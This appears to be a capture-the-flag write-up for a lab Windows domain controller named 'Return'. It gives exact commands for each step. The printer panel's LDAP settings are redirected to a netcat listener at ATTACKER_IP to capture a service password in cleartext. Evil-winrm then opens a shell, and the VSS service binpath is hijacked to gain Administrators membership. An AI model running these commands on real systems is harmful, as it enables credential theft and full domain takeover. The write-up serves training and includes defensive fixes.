Return
Summary
I scanned $TARGET (hostname PRINTER) and found a Windows Server 2019 Active Directory Domain Controller for return.local, along with an IIS-hosted Printer Admin Panel on port 80. The web application's LDAP configuration page was accessible without any login, allowing me to redirect the printer's LDAP authentication target to a rogue listener on my own machine. When the page was submitted, the application connected back and transmitted the service account password in cleartext via LDAP simple bind, yielding the credential svc-printer / <withheld>.
That account had WinRM access, producing an interactive shell and the user flag. Enumeration revealed svc-printer was a member of the built-in Server Operators group, which grants the right to modify Windows service configurations. I used sc.exe to replace the binary path of a system service with a command that added the account to local Administrators, executing it as SYSTEM.
Reconnecting with elevated rights, the root flag was read from the Administrator's Desktop — full Domain Controller compromise achieved.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for svc-printer>"Attack path — how the box was taken
Exact commands 3
Service-version scan with default scripts against the known-open ports.
$ nmap -sV -sC -p 53,80,88,135,139,389,445,464,593,636,3268,5985,9389 -oN return_scan.txt $TARGETProbe null/anonymous SMB to confirm hostname and domain membership.
$ nxc smb $TARGET -u '' -p ''Confirm the printer web panel and its settings page are reachable without credentials.
$ curl -si http://$TARGET/ && curl -si http://$TARGET/settings.phpExact commands 2
Confirm the settings page loads without a session cookie or credentials.
$ curl -s http://$TARGET/settings.phpExtract form field names and any pre-populated LDAP server address or username values.
$ curl -s http://$TARGET/settings.php | grep -i 'ldap\|server\|user\|pass\|input'FixRequire authentication before allowing LDAP server reconfigurationCritical
Exact commands 2
Open a raw listener on port 389 on my machine; run in background before submitting the form.
$ sudo nc -lvnp 389Submit the settings form redirecting LDAP to $ATTACKER_IP; inspect nc output for the cleartext bind password.
$ curl -s -X POST http://$TARGET/settings.php --data "ip=$ATTACKER_IP&port=389&username=svc-printer&password=&action=test"FixReplace LDAP simple bind with LDAPS or Kerberos to prevent cleartext credential exposureCritical
Exact commands 3
Validate WinRM access; confirm 'Pwn3d!' in output.
$ nxc winrm $TARGET -d return.local -u svc-printer -p "$PASSWORD"Open an interactive WinRM shell as svc-printer.
$ evil-winrm -i $TARGET -u svc-printer -p "$PASSWORD"One-shot to confirm identity and read the user flag -> <user.txt>
$ nxc winrm $TARGET -d return.local -u svc-printer -p "$PASSWORD" -x 'whoami && hostname && type C:\Users\svc-printer\Desktop\user.txt'Exact commands 2
Run inside the evil-winrm shell; look for BUILTIN\Server Operators in the output.
$ whoami /groupsList full group membership and account properties for svc-printer.
$ net user svc-printer /domainFixRemove svc-printer from Server Operators and apply least-privilege to all service accountsCritical
Exact commands 4
Redirect the VSS service binary to a command that promotes svc-printer; run inside evil-winrm.
$ sc.exe config vss binpath="cmd.exe /c net localgroup administrators svc-printer /add"Stop VSS so it can be restarted to trigger the hijacked binpath.
$ sc.exe stop vssRestart VSS; the modified binpath executes as SYSTEM and adds svc-printer to Administrators. The service will report a start failure — ignore it.
$ sc.exe start vssConfirm svc-printer now appears in the local Administrators group.
$ net localgroup administratorsExact commands 2
Reconnect; svc-printer is now a local admin so WinRM grants an elevated session.
$ evil-winrm -i $TARGET -u svc-printer -p "$PASSWORD"Read the root flag (actual -> <root.txt>
$ type C:\Users\Administrator\Desktop\root.txtExposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http recon-sweep-discovered |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-06 08:34:42Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: return.local, Site: Default-First-Site-Name) |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: return.local, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49673/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49675/tcp | unknown recon-sweep-discovered |
| 49676/tcp | unknown recon-sweep-discovered |
| 49680/tcp | unknown recon-sweep-discovered |
| 49688/tcp | unknown recon-sweep-discovered |
| 49698/tcp | unknown recon-sweep-discovered |